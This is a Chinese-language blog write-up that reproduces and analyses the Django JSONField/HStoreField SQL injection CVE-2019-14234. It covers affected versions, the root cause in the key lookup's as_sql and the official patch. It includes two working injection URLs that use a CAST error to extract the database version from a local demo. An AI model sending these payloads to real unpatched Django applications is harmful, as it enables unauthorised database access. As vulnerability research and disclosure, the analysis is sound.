Django JSONField/HStoreField SQL 注入漏洞(CVE-2019-14234)的复现与分析

昨天看到长亭发了篇django的漏洞预警,于是就看了下,完成了分析与复现。

漏洞描述

当使用用户可控的数据作为参数,以 **kwargs 的形式传入 QuerySet.filter() 函数,对 django.contrib.postgres.fields.JSONField 进行键/索引查找,或对 django.contrib.postgres.fields.HStoreField 进行键查找时,将会导致 SQL 注入。

影响范围

  • Django 主开发分支
  • Django 2.2.x < 2.2.4
  • Django 2.1.x < 2.1.11
  • Django 1.11.x < 1.11.23

环境搭建

  • Python 2.7.10
  • Postgresql(docker)
  • 漏洞demo
    漏洞代码片段:

    为了触发漏洞,将http get里面的参数字典以函数参数的形式传过去,**的作用就是可以将字典转为函数参数,例如filter(**{‘a’:’1′,’b’:’2′})与filter(a=1,b=2)是等价的

漏洞复现

MD5 PoC:

http://127.0.0.1:8000/select?info__test%27+%3d+%27%22a%22%27)%20and%207778%3dCAST((SELECT%20md5(version()))::text%20AS%20NUMERIC)--

Version EXP:

http://127.0.0.1:8000/select?info__test%27+%3d+%27%22a%22%27)%20and%207778%3dCAST((SELECT%20version())::text%20AS%20NUMERIC)--

原理分析

先看看 官方补丁 ,定位到关键代码处:

定位到该函数 as_sql (jsonb.py:L97):

通过函数名推测该函数是用来生产相关SQL语句的,后来查了一下,这个函数主要是为filter()函数提供json查询支持。

举个例子:现在数据库里存了一些这样的数据

如果我要查info字段里面json数据里name键为rivaill2的数据就可以用如下代码去查

XXXmodel.objects.filter(info__name='rivaill1')

最终上面的 as_sql 会生成如下一段SQL:

这是postgresql进行json查询的语法

再回来看看存在漏洞的代码:

大概的代码逻辑就是会将key强转一下,如果强转不成功就在两侧加个单引号,但是这里面没有经过任何过滤,追踪整个调用链也没有发现针对这个key的过滤,然后将字段名、操作符、key拼接了一下就return出去了。

所以这里的注入点实际上是在json的key里面,想要这个输入点可控就需要filter函数中的参数key可控,这也是为什么demo中要将http get以**kwargs 的形式传入filter函数的原因。

测试一下:

可以看到确实可控了,info是指定的字段,name是info字段的json数据中的key,最终解析到filter函数里面就是
filter(info__name='rivaill2')

往key后面加个单引号就能触发注入:

修复措施

看一下官方的补丁:

其实关键就在最后一行,lookup(也就是key)没有直接与前面的字段名和操作符拼接了,而是放到了第二个返回值里面和params拼接,最后追踪了一下调用链发现第二个返回值里面的数据都会作为参数化查询的value被代入进去,这样就避免了注入。